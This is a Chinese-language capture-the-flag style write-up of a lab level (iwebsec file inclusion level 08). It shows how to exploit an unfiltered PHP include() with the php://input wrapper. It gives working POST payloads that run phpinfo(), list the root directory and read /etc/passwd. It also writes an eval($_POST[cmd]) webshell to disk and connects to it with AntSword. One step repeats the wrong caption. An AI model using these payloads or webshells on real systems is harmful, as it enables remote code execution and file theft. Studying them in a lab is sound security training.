目录
原理分析
本文通过《iwebsec靶场文件包含漏洞第八关 08 php://infput 伪协议原理》来进行渗透实战。
1.php://input伪协议原理
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,如果存在文件包含漏洞,可将php://input作为文件名传入,同时在post中注入设置想要注入的代码,php执行时就会将post的内容作为php代码执行。特别注意php://input主要用于如下场景:
-
读取原始的POST数据
-
获取HTTP请求体(request body)内容
2.php://input伪协议使用条件
使用条件:
-
allow_url_include:on(默认Off)
-
allow_url_fopen: on
-
可控制文件包含的参数
-
能发送POST请求
第08关 php://input伪协议利用
1.打开靶场
http://iwebsec.com:81/fi/08.php
2.源码分析
如上所示源码中使用include函数来进行文件包含,并未对参数filename进行过滤,存在文件包含漏洞。根据关卡提示可以使用php://input伪协议进行渗透。
<?php
require_once('../header.php');
?>
<html>
<head>
<title>php://input伪协议利用</title>
</head>
<h2>php://input伪协议利用</h2>
<div class="alert alert-success">
<p>/08.php?filename=php://input </p>
</div>
<body>
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}else{
exit();
}
?>
3.伪协议渗透获取php信息
(1)构造post信息
<?php phpinfo();?>
(2)渗透
如下所示,通过传入参数<?php phpinfo();?>来获取版本信息
4.伪协议获取目录信息
(1)构造post信息
<?php system("ls /");?>
(2)渗透
如下所示,通过传入参数<?php system("ls /");?>来获取根目录下文件信息
5.伪协议获取敏感文件信息
(1)构造post信息
<?php system("cat /etc/passwd");?>
(2)渗透
如下所示,通过传入参数<?php system("ls /");?>来获取根目录下文件信息
5.伪协议上传木马
(1)构造webshell
构造向当前目录下写一个木马文件的脚本ljn_cmd8.php,如下所示:
<?php fputs (fopen("ljn_cmd8.php","w"),'<?php eval($_POST[cmd]);?>');?>
使用POST将上述参数传入
(2)连接木马
上传的脚本url地址为
http://iwebsec.com:81/fi/ljn_cmd8.php
参数为cmd,来获取php的信息,即cmd=phpinfo(); 如下所示渗透成功
(3)蚁剑连接
url为http://iwebsec.com:81/fi/ljn_cmd8.php 参数为cmd
添加后信息如下
如下所示渗透成功